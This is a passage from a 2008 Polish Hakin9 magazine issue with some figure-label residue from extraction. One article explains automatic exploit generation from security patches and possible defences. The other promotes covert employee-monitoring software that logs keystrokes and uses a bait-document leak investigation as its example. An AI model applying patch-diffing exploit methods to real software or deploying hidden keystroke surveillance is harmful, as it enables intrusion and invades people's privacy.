Rysunek 1. 

Architektura klient-serwer

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

SERVER

Rysunek 2. 

Architektura peer-to-peer 

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

HOST

SERVER

SERVER

SERVER

SERVER

background image

OBRONA

62

 

HAKIN9 9/2008

NOWY FRONT WYŚCIGU ZBROJEŃ

63

 

HAKIN9 

9/2008

Dystrybucja poprawek

Wiele systemów informatycznych zawiera 
moduł automatycznej aktualizacji. 
Taki moduł regularnie sprawdza w 
sieci, czy pojawiły się nowe poprawki 
do chronionego systemu, następnie 
ściąga je oraz instaluje. Dla napastnika 
występuje tu kilka możliwych okazji do 
nadużyć. Można spróbować podszyć 
się pod serwer zawierający poprawki i 
wystawić własną aktualizację, którą na 
przykład będzie program przejmujący 
kontrolę nad zainfekowanym przezeń 
komputerem. Jedno z możliwych 
podejść to zainfekowanie serwera DNS, 
aby poprawny adres zaprowadził do 
spreparowanej maszyny. Można się przed 
tym zabezpieczyć poprzez używanie 
adresów IP zamiast nazw domenowych, 
a jeszcze lepszym rozwiązaniem jest 
zastosowanie odpowiedniego certyfikatu. 
Domena oraz odpowiadający jej numer 
IP będą podpisane cyfrowo, a nad 
bezpieczeństwem transakcji będzie czuwać 
zaufana trzecia strona (firma certyfikująca, 
np. VeriSign). 

Większym problemem jest jednak 

kiepska skalowalność klasycznej 
architektury klient-serwer. Przy protokołach 
takich, jak FTP czy HTTP rozkład obciążenia 
sieci jest asymetryczny. Klienty rywalizują 
o zasoby serwerów, które stanowią wąskie 
gardło całego systemu. Klient klientowi 
wilkiem jest
. Nie mają możliwości pomóc 

sobie wzajemnie, mogą natomiast sobie 
przeszkadzać. Mirrorowanie serwerów 
jest rozwiązaniem kiepsko się skalującym, 
ponieważ o serwerach zwierciadlanych 
trzeba wiedzieć aby z nich skorzystać, a 
granulacja jest na poziomie całego pliku. 
Przy co bardziej pechowym układzie może 
się zdarzyć, że 80% downloaderów będzie 
obciążać jeden serwer, podczas gdy pięć 
jego mirrorów będzie pracować na ćwierć 
gwizdka. Automatyczne przydzielanie 
mirrora też jest jedynie najprostszym z 
możliwych rodzajów load balancingu, bo 
jest to tzw. connection-time load balancing
a więc rozłożenie obciążenia w momencie 
połączenia. Najczęściej wybierany jest 
topologicznie najbliższy serwer. Ma to sens, 
gdy rozkład topologiczny użytkowników 
pobierających w danej chwili plik jest mniej 
więcej taki, jak rozkład serwerów, ale gdy 
np. w polskim portalu pojawi się news o 
aktualizacji popularnego programu, to cały 
ruch w rezultacie wygenerowany zostanie 
skierowany do polskiego serwera, mimo że 
w tym czasie w USA jest noc i ich serwery 
się nudzą

Szczytowym osiągnięciem w dziedzinie 

rozkładania obciążenia są rozwiązania 
typu peer-to-peer. Stanowią one odejście 
od hierarchicznej architektury klient-
serwer : tu każdy jest jednocześnie 
klientem i serwerem, choć istnieją też 
serwery koordynujące. Klienty już nie 
rywalizują, ale współpracują w ściąganiu 

określonych plików. Oprogramowanie 
klienckie i serwerowe sieci peer-to-
peer automatycznie tworzy i aktualizuje 
rozproszoną bazę danych plików, pozwala 
też na jej przeszukiwanie. Pliki dzielone 
są na fragmenty i to na ich poziomie 
odbywają się kluczowe operacje. Każdy 
klient każdy ściągnięty przez siebie 
fragment automatycznie udostępnia innym. 
Dzięki temu plik sam się wielokrotnie 
mirroruje, ale na poziomie swoich 
fragmentów. W efekcie, gdy poziom 
nasycenia sieci fragmentami będzie już 
odpowiednio duży, kolejne klienty mogą 
skompletować całość nigdy nie łącząc się 
z oryginalnym źródłem i nigdy nie zajmując 
jego zasobów. 

Taka architektura jest jednocześnie 

dużo bardziej odporna na wszelkiego 
rodzaju awarie. Serwery koordynujące są 
liczne, geograficznie odległe i całkowicie 
ze sobą wymienne. Musi działać co 
najmniej jeden z nich, by cała infrastruktura 
funkcjonowała. Zadaniem koordynatora 
jest wszystko poza samym procesem 
pobierania – a więc ogół problematyki 
synchronizacyjnej. Dzięki temu koordynator 
jest w stanie obsłużyć znacznie więcej 
klientów niż – w takich samych warunkach 
– serwer FTP. Najcięższa forma 
komunikacji, czyli sama wymiana plików, 
odbywa się pomiędzy uczestnikami sieci, 
nie obciążając serwerów. 

Przy zastosowaniu sieci peer-to-

peer w tej samej jednostce czasu plik 
rozpropaguje się na dużo większą liczbę 
komputerów niż w przypadku architektury 
klient-serwer. W kontekście skracania 
czasu propagacji poprawek błędów 
krytycznych ta ciekawa własność sieci 
peer-to-peer wydaje się być szczególnie 
interesująca. 

Automatyczne 

generowanie exploitów

W 2008 roku panowie Brumley, 
Poosankam, Song oraz Zheng 
opublikowali pracę pod tytułem Automatic 
Patch-Based Exploit Generation is 
PossibleTechniques and Implications 
(automatyczne generowanie exploitów na 
podstawie patchy jest możliwe: techniki i 
zastosowania). 

Problem postawiono następująco: 

mając program P oraz jego poprawioną 
wersję P', należy automatycznie wykryć, 

Rysunek 3. 

Program Bindiff pokazuje różnice pomiędzy różnymi wersjami plików 

wykonywalnych 

background image

OBRONA

62

 

HAKIN9 9/2008

NOWY FRONT WYŚCIGU ZBROJEŃ

63

 

HAKIN9 

9/2008

jaką podatność P poprawiono w P' 
oraz stworzyć program próbujący ją 
wykorzystać. Autorzy napisali prototyp 
takiego programu i przetestowali go 
na pięciu programach Microsoftu 
aktualizowanych poprzez Windows Update
Udało im się stworzyć kilka działających 
exploitów, jednak ich najważniejszym 
osiągnięciem było wykazanie, że tego typu 
atak jest możliwy. 

Za cel autorzy obrali sobie błędy 

walidacji wejścia. Jak wiemy, wiele ataków 
polega na podaniu na wejście programu 
odpowiednio spreparowanych danych: 
tak działa cała rodzina ataków typu buffer 
overflow, cała rodzina różnego rodzaju 
injections (SQL Injection, Code Injection, 
PHP Injection, Shell Injection, Cross Site 
Scripting itd.). 

Prototyp analizuje plik oraz jego 

poprawioną wersję i wyszukuje dodany 
do niego kod weryfikujący. Szczególnie 
skupiono się na bibliotekach, ponieważ 
84% poprawek Microsoftu dotyczących 
bezpieczeństwa, które przeanalizowali 
badacze, dotyczyło bibliotek. Do 
porównywania binarnych wersji 
programów posłużono się programami 
BinDiff oraz EBDS (w Ramce 
W Sieci umieszczono linki do stron ich 
producentów). Następnie program stara 
się znaleźć wejście, które w poprawionej 
wersji będzie odfiltrowane.

Innymi słowy, problem generowania 

exploita został sprowadzony do 
znalezienia w P' nowych testów wejścia i 
wygenerowania programu podającego 
takie wejście, jakie w poprawionej wersji 
programu nie zostałoby zaakceptowane. 
Naturalnie takie podejście nie gwarantuje, 
że stworzony program będzie exploitem 
z prawdziwego zdarzenia, będzie raczej 
kandydatem na exploita, wymagającym 
jeszcze przetestowania. 

Autorom udało się na swoim prototypie 

skutecznie wygenerować kilka sensownych 
exploitów, z czego jeden z nich w zaledwie 
30 sekund! Zważywszy, że prototypy nie są 
raczej nigdy optymalizowane pod kątem 
szybkości działania, jest to wynik robiący 
wrażenie. 

W Tabeli 1. zamieszczono przykład 

poprawki zabezpieczającej przed błędem 
przepełnienia zmiennej całkowitej. W 
linii 5 dodano kod weryfikujący długość 
zmiennej s i generujący błąd w przypadku, 

gdy jest ona zbyt duża. Takich właśnie 
sekwencji kodu poszukuje prototypowy 
generator exploitów. 

Cóż można zrobić?

Czas propagacji poprawek na pewno 
można skrócić poprzez zastosowanie 
automatycznej aktualizacji oraz sieci peer-
to-peer. Jednak o ile byśmy tego czasu 
nie skrócili, zawsze zostanie go dość, 
by przeprowadzić atak. Zaproponowano 
jeszcze jedno rozwiązanie tego typu, 

tj. minimalizujące wielkość okna ataku. 
Akademicy w takich sytuacjach zawsze 
zastanawiają się, czy dałoby się jakoś 
posłużyć bogatym dorobkiem kryptografii. 
No i oczywiście, dałoby się. Patche 
miałyby być dystrybuowane w postaci 
zaszyfrowanej. Dopiero po upływie 
jakiegoś czasu, gdy można będzie 
przypuszczać, że większość systemów już 
ją ściągnęła, dystrybuowany byłby klucz. 
Klucze, jak wiadomo, są bardzo małe 
jak na standardy downloadu, więc ich 

Rysunek 4. 

Bindiff potrafi też pokazać wyniki w postaci diagramu 

Rysunek 5. 

Program eEye Binary Diffing Suite (EBDS) wyszukuje zmiany w kodzie 

background image

OBRONA

64

 

HAKIN9 9/2008

propagacja byłaby błyskawiczna. Wyścig 
między napastnikiem a administratorami 
systemów zacząłby się dopiero w 
momencie udostępnienia klucza, więc z 
pewnością byłby dramatycznie krótszy. 

Minusem takiego podejścia jest 

spowolnienie całego procesu propagacji 
poprawek. Skorzystają na tym ci, którzy już 
wcześniej znali błąd i aktywnie wykorzystują 
go do prowadzenia nielegalnej działalności. 
Dodatkowo nie da się nie zauważyć, że 
wszystkie techniki sprowadzające się 
do skracania okna ataku nie rozwiązują 
problemu, tylko przenoszą go gdzie indziej. 
Maszyna na stałe podłączona do sieci, o 
ile nie nastąpi jakiś drastyczny postęp w 
produkcji automatycznych generatorów 
exploitów, może się czuć bezpieczna. Ale 
co z pozostałymi przypadkami? Jeśli ktoś 
rozpozna dziurę w systemie na podstawie 
analizy poprawek, zawsze będzie mógł 
zapolować na maszyny jej nie posiadające 
– instalowane z CD/DVD, przywracane z 
naiwnego backupu, podłączone do sieci 
po jakimś okresie nieaktywności (sen, 
wyjazdy itd.). 

Kolejnym rozwiązaniem miałoby 

być zaciemnianie kodu poprawek, 
aby ich analiza była możliwie trudna 
– zarówno w przypadku manualnym jak i 
automatycznym, ale zwłaszcza tym drugim. 
Jest to jednak trudne do przeprowadzenia. 
Idea nie jest nowa, każdy producent 
komercyjnego oprogramowania chętnie 

zabezpieczyłby swoje produkty przed 
analizą ich kodu, gdyby to było takie 
proste. W przypadku walki z piractwem 
chodzi jednak raczej o analizę manualną, 
której na dłuższą metę zablokować się 
nie da. W przypadku walki z automatami 
analizującymi zmiany w kodzie można 
zrobić dużo więcej. Automaty są 
głupie i łatwiej je wyprowadzić w pole. 
Wprowadzenie dużej liczby nieznacznych 
zmian w kodzie z pewnością utrudniłoby 
pracę co bardziej naiwnych implementacji. 

Jednak pojawienie się z czasem 

lepszych analizatorów, skupiających 
się bardziej na warstwie semantycznej, 
wymagałoby już bardziej wyrafinowanych 
technik zaciemniających. Wydaje się 
więc, że APEG może się okazać nowym 
frontem wyścigu zbrojeń między 
obrońcami systemów informatycznych oraz 
pragnącymi je spenetrować napastnikami. 

Autorzy pracy rozważali przede 

wszystkim przypadek oprogramowania 
closed source i analizy kodu 
asemblerowego. W przypadku 
oprogramowania FLOSS zagadnienie jest 
o klasę trudniejsze, ponieważ napastnik ma 
do dyspozycji nie tylko z natury niełatwy 
w analizie kod wynikowy, ale również – a 
wręcz przede wszystkim – kod źródłowy. 
Zaciemnianie kodu źródłowego raczej 
nie wchodzi w grę. Po pierwsze, byłoby 
to strzelanie sobie w stopę: im kod jest 
bardziej zaciemniony, tym trudnej jest 

się w nim połapać nawet jego autorowi. 
Programowanie jest obecnie wystarczająco 
skomplikowane, by zapanowanie nad 
dużym projektem i tak nie było zadaniem 
łatwym. Po drugie, zaciemnianie kodu 
źródłowego jest skrajnie sprzeczne z ideą 
open source. Nie po to udostępnia się 
wszystkim kod źródłowy, aby nikt nie był w 
stanie go przeanalizować. 

Zasada Kerckhoffsa mówi, że 

kryptosystem powinien być bezpieczny 
nawet wówczas, gdy napastnik dobrze 
go zna. Innymi słowy, bezpieczeństwo 
kryptosystemu powinno zależeć od 
tajności łatwego do zmienienia klucza, a 
nie tajności samego kryptosystemu, który 
jest dużo trudniej modyfikować. Reguła 
ta znakomicie daje się generalizować na 
wszystkie systemy informatyczne i dlatego 
leży ona u podstaw filozofii open source

Z jednej strony może się więc wydawać, 

że oprogramowanie FLOSS zawsze będzie 
bardziej podatne na techniki APEG. Z drugiej 
strony, jego ogólnie dość duża wrażliwość 
na problematykę bezpieczeństwa i 
związane z tym stosowanie ogólnych 
zasad ograniczania efektów potencjalnych 
kompromitacji w pewnym zakresie utrudnia 
stosowanie wszelkiego rodzaju exploitów. 
Ponadto nic nie stoi na przeszkodzie, by 
metody aktualizacji typu apt-get wzbogacić 
o omawiane wcześniej techniki obrony 
przed APEG. 

Podsumowanie

Brumley, Poosankam, Song oraz Zheng 
udowodnili, że automatyczne generowanie 
exploitów na podstawie analizy zawartości 
patchy (APEG) jest możliwe. Ten wynik 
stawia wyzwanie aktualnie stosowanym 
rozwiązaniom automatycznej aktualizacji 
oprogramowania: pojawiło się nowe 
pole wyścigu zbrojeń w odwiecznej 
wojnie informacyjnej. Możemy się 
spodziewać powstania nowych, coraz 
lepszych systemów APEG, a z drugiej 
strony dalszego hardeningu systemów 
automatycznej aktualizacji. 

Cezary G. Cerekwicki

Autor jest z wykształcenia informatykiem i politologiem. 

Pracował jako projektant, programista, administrator, 

konsultant, tłumacz, koordynator międzynarodowych 

projektów, dziennikarz i publicysta. Pisał programy w 

dziesięciu językach programowania (od asemblerów po 

języki skryptowe), w czterech systemach operacyjnych, na 

dwóch platformach sprzętowych. 

Kontakt z autorem: cerekwicki@tlen.pl

W Sieci

•   Oryginalny artykuł o automatycznym generowaniu exploitów – http://www.cs.cmu.edu/

~dbrumley/pubs/apeg.html,

•   Bindiff – program porównujący kody binarne programów – http://www.zynamics.com/

index.php?page=bindiff,

•   EBDS – kolejne rozwiązanie znajdujące różnice między skompilowanymi programami – 

http://research.eeye.com/html/tools/RT20060801-1.html.

Tabela 1. 

Przykład programu oraz jego poprawki

Program oryginalny P

Program poprawiony P'

if  ( inpu t %  2 == 0) goto 2 else goto 4 ;

if ( input % 2 == 0) goto 2 else goto 4 ;

s :=  input + 2;

s := input +2;

goto 5 ;

goto 5 ;

s := input + 3;

s := input +3;

<nop>

if ( s > input ) goto 6 else goto ERROR;

ptr := realloc ( ptr , s ) ;

ptr := realloc ( ptr , s ) ;

dalsze operacje na wskaźniku ptr

dalsze operacje na wskaźniku ptr

background image
background image

66

 

BEZPIECZNA FIRMA

HAKIN9 9/2008

I

nformatyka śledcza na rynku polskim jest 
stosunkowo nową dziedziną. Wśród osób, które 
spotkały się z tym pojęciem, występuje bardzo 

niska świadomość odnośnie możliwości przez nią 
oferowanych. A przecież wyciek istotnych informacji 
jest obecnie największym zagrożeniem dla 
biznesu. Mówiąc jednak wyciek, na ogół myślimy 
o włamaniu do sieci lub popularnym ostatnio 
zagrożeniu tzw. malwarem. Często zapominamy, 
że ponad 75% informacji, które wyciekły w 2007 
roku z firm, zostało skradzionych przez nielojalnych 
pracowników. Tego typu problemami zajmuje się 
informatyka śledcza i dedykowane jej rozwiązania.

Według badań zawartych m.in. w raportach 

Forrestera, wykradzione informacje w prawie 
połowie przypadków opuszczają firmę na różnego 
rodzaju urządzeniach przenośnych, takich jak: 
klucze USB, odtwarzacze MP3, karty pamięci, 
urządzenia PDA oraz telefony komórkowe. W 
mniejszym stopniu dane wyciekają również na 
laptopach oraz nośnikach optycznych CD/DVD. 
Oczywiście także Internet wykorzystywany jest 
w tym celu z powodzeniem, bowiem oferuje on 
wiele usług umożliwiających przesłanie poufnych 
informacji osobom trzecim. Są to najczęściej: 
poczta internetowa, serwery FTP, wirtualne dyski 
oraz inne oprogramowanie umożliwiające 
przesyłanie tekstu bądź plików. Dobrym 
przykładem są również komunikatory internetowe, 
zazwyczaj nadmiernie pochłaniające czas 
przeznaczony na pracę i pozwalające na szybki 
transfer wiedzy poza firmę. 

PIOTR FAJ

Z ARTYKUŁU 

DOWIESZ SIĘ

o problemie wyciekających 

wewnętrznych danych,

o budowie i funkcjonalności 

oprogramowania platformy 

informatyki śledczej - 

Spector360,

jak w intranecie odnaleźć ślady 

naruszeń bezpieczeństwa 

informacji.

CO POWINIENEŚ 

WIEDZIEĆ

powinieneś znać podstawy 

zasad bezpieczeństwa 

informacji,

powinieneś znać podstawy 

działania sieci komputerowej w 

organizacji.

Oczywiście, w tym momencie można 

powiedzieć: wyłączmy USB, zablokujmy 
komunikatory, filtrujmy pocztę. Ale czy zawsze jest 
to możliwe? Trudno ograniczyć administratorów 
lub grafików odpowiedzialnych za nasze strony 
internetowe, a wręcz nie da się tego zrobić np. 
w przypadku outsourcingu niektórych usług 
związanych z naszymi serwerami. Co więcej, brak 
możliwość korzystania z niektórych programów bądź 
urządzeń peryferyjnych może znakomicie utrudnić 
pracę oraz zmniejszyć wydajność pracownika.

Specjaliści od informatyki śledczej potrafią 

gromadzić dowody zdarzeń występujących 
w świecie elektronicznym i większość 
problemów związanych z nieuprawnionym 
udostępnieniem informacji zapewne znajdzie swoje 
odzwierciedlenie w systemie sprawcy. Dzięki temu 
możliwe będzie zgromadzenie dowodów nawet do 
celów postępowania sądowego. Ale informatyka 
śledcza zakłada również rozwiązania prewencyjne, 
które pozwalają zapobiegać takim incydentom, 
a w przypadku ich wystąpienia – potrafiące szybko 
odpowiedzieć na pytanie: Jak to się stało? 

Idea monitoringu

W świecie niewirtualnym monitoring nie jest niczym 
nadzwyczajnym. Kamery są wszędzie, obserwowane 
jest niemal wszystko. Również świat wirtualny nie 
jest pozbawiony tej idei. Monitorujemy procesy, ruch 
sieciowy, dostęp do dokumentów. Ale takie analizy są 
ślepe na nadużycia związane z np. wykorzystaniem 
mechanizmu kopiuj-wklej w Windows. Jedynie 

Stopień trudności

Śledztwo 

elektroniczne

Liczba zagrożeń pochodzących z sieci Internet, które mogłyby 

wpłynąć negatywnie na wizerunek firmy, z roku na rok się 

powiększa. Warto również zauważyć, że ślady po takich 

zdarzeniach mają wspólną cechę – nie wiadomo, kto i jak to 

zrobił.

background image

67

 

ŚLEDZTWO ELEKTRONICZNE

HAKIN9 

9/2008

obserwacja na poziomie użytkownika 
pozwoliłaby prześledzić taki incydent – to 
jedyne miejsce, gdzie wszystko widać.

Na łamach Hakin9 pisaliśmy już o 

platformach śledczych typu NetWitness 
czy EnCase Enterprise, które zajmowały się 
analizą ruchu sieciowego i gromadzeniem 
dowodów elektronicznych na poziomie 
serwerów i stacji roboczych. Informatyka 
śledcza dostarcza również inny rodzaj 
platform, opierający się o bezpośrednią 
analizę zachowań użytkownika stacji, zbliżoną 
do monitoringu wizualnego w skali Enterprise. 

Zadaniem takich platform jest 

gromadzenie materiału na temat 
uruchamianych programów, wprowadzanego 
tekstu, przesyłanych wiadomości email, 
przetwarzanych dokumentów oraz wielu 
innych czynności wykonywanych przez 
pracowników na komputerach firmowych. 
Zapisane na tej podstawie informacje 
umożliwiają przeprowadzenie analiz, które 
pozwolą określić punkt wycieku informacji. 
Dzięki temu możliwe jest zgromadzenie 
dowodów nielojalności – nawet w znaczeniu 
procesowym – oraz zmniejszenie strat 
organizacji. 

Spełnienie wymogów informatyki 

śledczej w zakresie takich narzędzi wiąże 
się z koniecznością gromadzenia materiału 
w sposób bezpieczny, niezauważalny i nie 
obciążający, zarówno z punktu widzenia stacji, 
jak i ruchu sieciowego. Wartość dowodowa 
wymaga, aby materiał był zapisywany 
w trybie read-only, zgodnie z zasadą 
– widzę wszystko, nie zmieniam nic. Zakres 
gromadzonych informacji ze stacji roboczej 
objętej monitorowaniem powinien ograniczać 
się do poszczególnych usług, np. poczty 
internetowej, komunikatorów czy np. plików 
przesyłanych za pomocą protokołu FTP. 

Spector360

Niejako wzorcowym rozwiązaniem 
spełniającym takie kryteria jest Spector360. 
Wieloelementowa architektura odpowiada 
za bezpieczeństwo dostępu i niezmienność 
zapisanych informacji w rozumieniu 
informatyki śledczej. Platforma pracuje 
w relacji klient-serwer. Sam klient nie jest 
widoczny dla użytkownika pracującego na 
monitorowanym komputerze. Użytkownik 
nie posiada możliwości jego wyłączenia 
czy też odinstalowania. Pozostałe trzy 
elementy umożliwiają przechwytywanie, 
segregowanie i gromadzenie danych 

przesłanych przez monitorowane 
komputery (Rysunek 1).

Data Vault SQL Server & Database 

– odpowiada za przechwytywanie informacji 
wysyłanych z monitorowanych komputerów. 
Data Vault pozwala na zdefiniowanie udziałów 
dyskowych, które będą wykorzystane w celu 
gromadzenia takich danych, jak: zrzuty pulpitu, 
załączniki przesyłane w wiadomościach email 
czy pliki przenoszone pomiędzy udziałami 
dyskowymi bądź różnymi usługami. 

Control Center – odpowiada za 

konfigurację, zarządzanie oraz instalację 
agentów, którzy mają pracować dla nas na 
wybranych komputerach. Aplikacja pozwala 
na realizację wszelkich operacji związanych 
z agentem pracującym na monitorowanym 
komputerze (Rysunek 2). 

Dashboard – jest konsolą śledczą 

pozwalającą na analizę zgromadzonych 
danych poprzez wykorzystanie 
następujących opcji: 

•   Quick View, czyli szybkie przeglądanie 

zebranych zdarzeń dotyczących 
wykorzystania sieci komputerowej, 
programów, dokumentów bądź innych 
czynności mających miejsce na 
monitorowanych komputerach.

•   Data Explorer – dzięki tej opcji można 

przeglądnąć dane zgromadzonych w 
bazie. 

•   User Explorer – to kontrolka 

umożliwiająca przeprowadzenie śledztwa, 
sprawdzenie, co dokładnie wykonywał 
wybrany użytkownik pracujący na 
monitorowanym komputerze.

•   Reports – tworzenie raportów na temat 

działalności użytkowników, wybranych 
programów działających na określonych 
komputerach, wprowadzanych znaków 
oraz wielu innych zdarzeń, jakie rejestruje 
agent na monitorowanym komputerze. 

•   Search – kontrolka pozwalająca na 

przeszukiwanie danych zgromadzonych 
w SQL Server & Database pod kątem 
ściśle określonych zdarzeń, które mogą 
wydawać się podejrzane. 

•   Management – pozwala na 

zarządzanie elementami wchodzącymi 
w skład programu Spector360. Jedną 
z ważniejszych funkcji tej kontrolki jest 
możliwość zarządzania usługą Web 
Filter Server
 (Rysunek 3).

Śledztwo

Jedna z większych polskich firm IT miała 
problemy z regularnymi wyciekami 
informacji z jednego z serwerów. Wstępne 
dochodzenie pozwoliło określić podejrzaną 
grupę w obrębie użytkowników mobilnych, 
których komputery nie funkcjonowały na 
co dzień w firmowej sieci komputerowej. 
W celu korzystania z zasobów firmowych 
mobilni pracownicy łączyli się za pomocą 
bramek VPN do sieci komputerowej. Zasoby 
te dostępne były w wyłącznie w trybie do 
odczytu, bez możliwości kopiowania. Aby 
określić mechanizm wypływu, konieczne 
było pozyskanie informacji związanych 
z przetwarzaniem tych dokumentów na 
podejrzanych komputerach (wykrycie 
mechanizmu kopiowania, metod przekazu 
lub wydruku dokumentów). Podejrzewano, 

Baza

danych

SQL Server & Database

Data Vault

Primary Server

Analiza – Zarządzanie

Konfiguracja

Dashboard

Conrol Center

Komputery monitorowane

Konfiguracja

Zareje

strowane

zdarzenia

Rysunek 1. 

Widok poglądowy sieci

background image

BEZPIECZNA FIRMA

68

 

HAKIN9 9/2008

ŚLEDZTWO ELEKTRONICZNE

69

 

HAKIN9 

9/2008

iż jeden z pracowników udostępnia dane 
konkurencji, drukując dokumenty – jednak 
ukryte badanie w ramach usług help-
deskowych
 nie potwierdziło żadnych śladów 
takich działań. 

Wszystkie te czynniki złożyły się na 

konieczność zastosowania rozwiązania 
dedykowanego. Instalacji klientów 
Spector360 na wybranej grupie 
komputerów przenośnych dokonano, 
podczas gdy pracownicy mobilni podłączali 
swoje komputery do sieci firmowej. Co 
ważne, wszelkie czynności związane z 

instalacją nie były widoczne ani odczuwalne 
dla użytkownika. W międzyczasie 
opublikowano w ramach kampanii nowy 
dokument, zawierający pewne istotne 
informacje, mający stanowić swego rodzaju 
przynętę dla nielojalnego pracownika.

Dochodzenie można przeprowadzać 

bezpośrednio po przesłaniu danych do 
usługi Data Vault. Proces ten nazywany 
jest monitorowaniem, ponieważ agent 
nadzoruje czynności użytkownika w celu 
przechwycenia interesujących go zdarzeń. 
Platforma za pomocą swojego klienta może 

monitorować, a następnie rejestrować takie 
czynności użytkowników, jak: 

•   czas związany z logowaniem się 

na komputerze oraz aktywnością 
pracownika, 

•   aktywność oprogramowania, które 

jest uruchamiane przez użytkownika 
podczas sesji, 

•   dane na temat stron WWW 

odwiedzanych za pomocą 
przeglądarek internetowych oraz 
wyszukiwanych dzięki nim informacji, 

•   wszelkie dane związane z obsługą 

poczty internetowej – niezależnie 
od tego, czy użytkownik korzysta 
z programu pocztowego 
zainstalowanego na monitorowanej 
jednostce, czy z interfejsu WWW,

•   aktywność sieciowa użytkownika – 

wszelkie informacje na temat połączeń 
sieciowych dokonywanych podczas 
sesji, realizowanych za pomocą 
różnego oprogramowania bądź przez 
sam system operacyjny,

•   informacje związane z transferem plików, 

FTP, różnego rodzaju formularzami 
WWW, udziałami sieciowymi,

•   wszelkie informacje związane z 

przetwarzaniem dokumentów: 
tworzenie dokumentu, zmiana treści, 
kasowanie, zmiana nazwy, kopiowanie 
na urządzenia przenośne bądź udziały 
sieciowe, przesyłanie dokumentów za 
pośrednictwem poczty internetowej lub 
innych usług działających w sieci oraz 
drukowanie dokumentów, 

•   przechwytywanie wprowadzanych z 

klawiatury znaków.

Następnym krokiem jest analiza zebranych 
danych, które zostały zgromadzone w 
postaci znaków wpisywanych z klawiatury, 
zrzutów ekranów, plików oraz informacji o 
zdarzeniach, jakie miały miejsce podczas 
pracy użytkownika. Analizę można 
przeprowadzać na kilka sposobów, np.: 
poprzez przegląd zgromadzonych informacji 
według użytkowników, komputerów, usług 
bądź innych kryteriów. Po przeprowadzeniu 
analizy oraz zebraniu wystarczającej ilości 
dowodów tworzy się raport zawierający 
wszelkie informacje dotyczące czynności 
wykonanych przez użytkownika. Raport 
może również zawierać informacje w 
postaci zapisu poszczególnych czynności, 

Rysunek 3. 

Dashborad

Rysunek 2. 

Aplikacja Control Center

background image

BEZPIECZNA FIRMA

68

 

HAKIN9 9/2008

ŚLEDZTWO ELEKTRONICZNE

69

 

HAKIN9 

9/2008

jakie wykonywał użytkownik, zrzutów ekranów 
odpowiadających określonym operacjom 
oraz treści bądź plików, które są obiektem 
incydentu. 

Przedział czasu pomiędzy 

zarejestrowanym zdarzeniem a reakcją 
na incydent może być różny. Jest to 
spowodowane sposobem, w jaki dane 
spływają do bazy danych. W przypadku 
komputerów przenośnych, które używane 
są przez pracowników poza siedzibą firmy, 
wszystkie zdarzenia, jakie ma monitorować 
klient, są rejestrowane i przechowywane 
na twardym dysku komputera. Pracownik 
nie ma dostępu do tych zapisów, nie 
może ich skasować bądź zmodyfikować. 
Po podłączeniu komputera przenośnego 
do sieci, w której działają usługi platformy 
Spector, dane zostają automatycznie 
przesyłane i mogą zostać poddane analizie 
przez osoby upoważnione do tych czynności.

Zgodnie z przewidywaniami incydent 

wystąpił. Po kilku dniach pracy użytkowników 
na komputerach przenośnych i ponownym 
ich włączeniu się do sieci, udało się 
zgromadzić wystarczającą ilość materiału 
niezbędnego do przeprowadzenia analizy.

Ze względu na nieznajomość 

mechanizmu wycieku oraz z uwagi na ilość 
materiału analizę podzielono na etapy. W 
pierwszej fazie zbadano oprogramowanie, 
które wykorzystywane było w codziennej 
pracy użytkowników. Faza ta pozwoliła na 
stworzenie historii aktywności pracowników. 
Uzyskano następujące informacje:

•   Jakie programy były uruchamiane w 

czasie pomiędzy publikacją dokumentu 
a incydentem.

•   Ile czasu użytkownicy poświęcili na 

obsługę danego programu.

•   Jakiego rodzaju aplikacją był badany 

program i w jakim celu został 
wykorzystany.

•   Jaką aktywność sieciową 

wygenerował program – wydzielono 
informacje związane z połączeniami 
wykonywanymi przez oprogramowanie 

(ustalenie, dokąd aplikacja dokonywała 
połączenia oraz z jakiego rodzaju 
usługą nastąpiło połączenie).

Analiza ujawniła cały szereg 
nieprawidłowości. Największe podejrzenie 
padło na oprogramowanie służące 

Rysunek 5. 

Krok 1

Rysunek 6. 

Krok 2

W Sieci

•   http://www.mediarecovery.pl,
•   http://www.forensictools.pl,
•   http://www.spectorsoft.com,
•   http://www.guidancesoftware.com.

Rysunek 4. 

Incydent

��

���

��

��

��

��

�������

�����

��

��

���

background image

BEZPIECZNA FIRMA

70

 

HAKIN9 9/2008

do przeprowadzania rozmów w sieci 
Internet. Wychwycono komunikator 
nie zainstalowany na analizowanym 
komputerze, lecz uruchamiany za 
pomocą przeglądarki internetowej 
oraz wykryto pracownika, który używał 
prywatnej skrzynki pocztowej, co – jak 
wynika z informacji otrzymanej z działu 
IT – nie było zgodne z zasadami 
obowiązującej polityki bezpieczeństwa 
(Rysunek 5). 

Ten etap pozwolił zawęzić ilość 

podejrzanych maszyn poprzez wykluczenie 
użytkowników, którzy nie mieli możliwości 
przekazania informacji, a także wytypować 
dwóch najbardziej podejrzanych 
pracowników. Aby nie zawęzić nadmiernie 
śledztwa, dalszej analizie poddano 
wszystkie pozostałe komputery. Ten etap 
obejmował już bardziej szczegółowe 
analizy obejmujące informacje, 
jakie zostały pobrane, wysłane bądź 
przetworzone za pomocą wytypowanego 
oprogramowania wykorzystywanego na 
komputerach poddanych monitorowaniu. 
Przeanalizowano przeglądarki internetowe, 
komunikatory oraz oprogramowanie do 
zarządzania wiadomościami email. Dane 
które podlegały analizie: 

•   Informacje wprowadzane przez 

użytkowników za pomocą klawiatury. 

•   Dane wysłane bądź odebrane przez 

oprogramowanie.

Podstawą takich analiz są tzw. słowa-klucze 
(keywords), czyli odpowiednio dobrane, 
unikalne wyrazy (słowem kluczem jest 
np. wyraz Mediarecovery, a nie jest nim 
wyraz ale). Odpowiedni dobór słów-kluczy 
gwarantuje wyszukanie interesujących nas 
informacji, a co za tym idzie – odrzucenie 
często bardzo dużej ilości zbędnych 
danych, które wymagałyby dużej ilości 
czasu do przeanalizowania.

W tym przypadku użyte słowa-klucze 

pochodziły ze spreparowanej kampanii. Ich 
wystąpienia pojawiły się u kilku użytkowników 
głównie w dwóch kategoriach: email oraz 
keystore. Ze względu na charakter pracy 
niektórych osób nie wszystkie te wystąpienia 
musiały być nieprawidłowe. Jednak po 
przeprowadzeniu głębszej analizy wykryto:

•   Przeprowadzoną za pomocą programu 

WebGG rozmowę zawierającą jedno 
bądź więcej słów kluczy.
